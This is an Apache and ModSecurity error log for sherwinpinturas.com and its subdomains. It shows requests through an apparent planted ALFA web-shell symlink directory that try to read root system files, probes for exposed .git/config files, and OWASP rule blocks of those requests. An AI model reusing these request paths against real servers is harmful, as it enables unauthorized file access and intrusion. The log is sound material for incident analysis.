[Sun Oct 25 10:34:19.349611 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 52.6.232.201:48620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/subsystem/drivers/virtio_rng/uevent
[Sun Oct 25 10:34:23.314339 2026] [ssl:error] [pid 2847175:tid 2847175] (5)Input/output error: [client 44.220.2.97:53756] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:34:27.379929 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.82.107.102:21125] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:34:35.265091 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 34.202.88.37:43530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:34:39.263101 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 35.153.86.200:61760] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:34:47.441779 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 3.212.219.113:6869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:34:51.618556 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 52.3.26.180:52307] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource4
[Sun Oct 25 10:34:54.955445 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 185.191.171.18:63342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/align
[Sun Oct 25 10:34:55.097431 2026] [security2:error] [pid 2847221:tid 2847221] [client 16.216.88.102:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libssh/libssh_client.config"] [unique_id "at4Tj-M--6-a9qfJalgPxQAAAC8"]
[Sun Oct 25 10:34:55.097945 2026] [security2:error] [pid 2847221:tid 2847221] [client 16.216.88.102:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libssh/libssh_client.config"] [unique_id "at4Tj-M--6-a9qfJalgPxQAAAC8"]
[Sun Oct 25 10:34:55.098319 2026] [security2:error] [pid 2847221:tid 2847221] [client 16.216.88.102:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libssh/libssh_client.config"] [unique_id "at4Tj-M--6-a9qfJalgPxQAAAC8"]
[Sun Oct 25 10:34:59.453138 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 52.200.142.199:5040] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:35:03.267334 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 184.73.239.35:63518] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:35:04.280983 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 185.191.171.10:32392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/slabs_cpu_partial
[Sun Oct 25 10:35:07.321006 2026] [core:error] [pid 2847175:tid 2847175] (13)Permission denied: [client 3.220.148.166:46552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/dw_dmac_pci/uevent
[Sun Oct 25 10:35:10.517745 2026] [security2:error] [pid 2815605:tid 2815605] [client 172.64.200.86:11275] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TngYPMfHr0EMMDlnoVwAAABM"]
[Sun Oct 25 10:35:10.518089 2026] [security2:error] [pid 2815605:tid 2815605] [client 172.64.200.86:11275] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TngYPMfHr0EMMDlnoVwAAABM"]
[Sun Oct 25 10:35:10.518450 2026] [security2:error] [pid 2815605:tid 2815605] [client 172.64.200.86:11275] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TngYPMfHr0EMMDlnoVwAAABM"]
[Sun Oct 25 10:35:10.525935 2026] [security2:error] [pid 2847227:tid 2847227] [client 172.64.200.87:11558] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4TnpaFInOsw263h0Dq3wAAADU"]
[Sun Oct 25 10:35:10.526163 2026] [security2:error] [pid 2847227:tid 2847227] [client 172.64.200.87:11558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4TnpaFInOsw263h0Dq3wAAADU"]
[Sun Oct 25 10:35:10.526455 2026] [security2:error] [pid 2847227:tid 2847227] [client 172.64.200.87:11558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4TnpaFInOsw263h0Dq3wAAADU"]
[Sun Oct 25 10:35:12.424046 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 85.208.96.210:24930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/total_objects
[Sun Oct 25 10:35:19.423578 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.210.155.69:48375] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:35:23.377316 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 3.218.103.254:58349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:35:27.550145 2026] [security2:error] [pid 2847221:tid 2847221] [client 172.69.155.188:11370] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Tr-M--6-a9qfJalgPxwAAAC8"]
[Sun Oct 25 10:35:27.550404 2026] [security2:error] [pid 2847221:tid 2847221] [client 172.69.155.188:11370] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Tr-M--6-a9qfJalgPxwAAAC8"]
[Sun Oct 25 10:35:27.550728 2026] [security2:error] [pid 2847221:tid 2847221] [client 172.69.155.188:11370] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Tr-M--6-a9qfJalgPxwAAAC8"]
[Sun Oct 25 10:35:27.555160 2026] [security2:error] [pid 2821699:tid 2821699] [client 172.69.155.189:14227] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4Tr5BSQk9YSmLuOvuRsAAAAAM"]
[Sun Oct 25 10:35:27.555352 2026] [security2:error] [pid 2821699:tid 2821699] [client 172.69.155.189:14227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4Tr5BSQk9YSmLuOvuRsAAAAAM"]
[Sun Oct 25 10:35:27.555638 2026] [security2:error] [pid 2821699:tid 2821699] [client 172.69.155.189:14227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4Tr5BSQk9YSmLuOvuRsAAAAAM"]
[Sun Oct 25 10:35:27.643866 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 23.21.225.190:38693] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:35:29.725384 2026] [security2:error] [pid 2847176:tid 2847176] [client 45.148.10.120:41544] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsfIHvaVed3v2HBYKewAAACM"]
[Sun Oct 25 10:35:29.725636 2026] [security2:error] [pid 2847176:tid 2847176] [client 45.148.10.120:41544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsfIHvaVed3v2HBYKewAAACM"]
[Sun Oct 25 10:35:29.725876 2026] [security2:error] [pid 2847176:tid 2847176] [client 45.148.10.120:41544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsfIHvaVed3v2HBYKewAAACM"]
[Sun Oct 25 10:35:29.725934 2026] [security2:error] [pid 2847176:tid 2847176] [client 45.148.10.120:41544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsfIHvaVed3v2HBYKewAAACM"]
[Sun Oct 25 10:35:29.725948 2026] [security2:error] [pid 2847176:tid 2847176] [client 45.148.10.120:41544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsfIHvaVed3v2HBYKewAAACM"]
[Sun Oct 25 10:35:30.336258 2026] [security2:error] [pid 2848588:tid 2848588] [client 45.148.10.120:41560] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsvG5-CVNoUmcEPP_TQAAAAA"]
[Sun Oct 25 10:35:30.336528 2026] [security2:error] [pid 2848588:tid 2848588] [client 45.148.10.120:41560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsvG5-CVNoUmcEPP_TQAAAAA"]
[Sun Oct 25 10:35:30.336842 2026] [security2:error] [pid 2848588:tid 2848588] [client 45.148.10.120:41560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsvG5-CVNoUmcEPP_TQAAAAA"]
[Sun Oct 25 10:35:30.923453 2026] [security2:error] [pid 2815605:tid 2815605] [client 45.148.10.120:41562] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsgYPMfHr0EMMDlnoWAAAABM"]
[Sun Oct 25 10:35:30.923699 2026] [security2:error] [pid 2815605:tid 2815605] [client 45.148.10.120:41562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsgYPMfHr0EMMDlnoWAAAABM"]
[Sun Oct 25 10:35:30.923940 2026] [security2:error] [pid 2815605:tid 2815605] [client 45.148.10.120:41562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4TsgYPMfHr0EMMDlnoWAAAABM"]
[Sun Oct 25 10:35:31.507082 2026] [security2:error] [pid 2834019:tid 2834019] [client 45.148.10.120:41578] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Ts0sgp-xlBP1GcWOSkgAAABE"]
[Sun Oct 25 10:35:31.507347 2026] [security2:error] [pid 2834019:tid 2834019] [client 45.148.10.120:41578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Ts0sgp-xlBP1GcWOSkgAAABE"]
[Sun Oct 25 10:35:31.507622 2026] [security2:error] [pid 2834019:tid 2834019] [client 45.148.10.120:41578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Ts0sgp-xlBP1GcWOSkgAAABE"]
[Sun Oct 25 10:35:31.703617 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 23.21.227.240:31354] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:35:39.410750 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 3.235.215.92:23940] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:35:47.784521 2026] [core:error] [pid 2847175:tid 2847175] (13)Permission denied: [client 35.174.253.85:34918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:06/physical_node/resource4_wc
[Sun Oct 25 10:35:51.428724 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 52.200.54.136:32512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:35:55.624405 2026] [core:error] [pid 2847221:tid 2847221] (13)Permission denied: [client 18.211.148.239:35338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/driver/module/uevent
[Sun Oct 25 10:35:59.517159 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.1.157.90:54170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:36:07.756158 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 3.213.106.226:16734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/driver/module/drivers/virtio:virtio_balloon/uevent
[Sun Oct 25 10:36:11.765636 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 34.236.185.101:29349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:36:20.950383 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 35.153.86.200:63687] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:36:27.538579 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 44.221.37.41:12805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:36:31.648872 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.192.67.98:1291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:36:39.815422 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.215.235.20:53499] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:36:43.733819 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 34.231.45.47:12708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:37:03.765008 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 54.85.7.119:17486] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:37:15.768072 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.0.105.244:60407] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:37:19.956303 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 85.208.96.203:16992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/free_calls
[Sun Oct 25 10:37:19.956863 2026] [security2:error] [pid 2847227:tid 2847227] [client 85.208.96.203:16992] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/free_calls"] [unique_id "at4UH5aFInOsw263h0Dq5AAAADU"]
[Sun Oct 25 10:37:19.956888 2026] [security2:error] [pid 2847227:tid 2847227] [client 85.208.96.203:16992] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/free_calls"] [unique_id "at4UH5aFInOsw263h0Dq5AAAADU"]
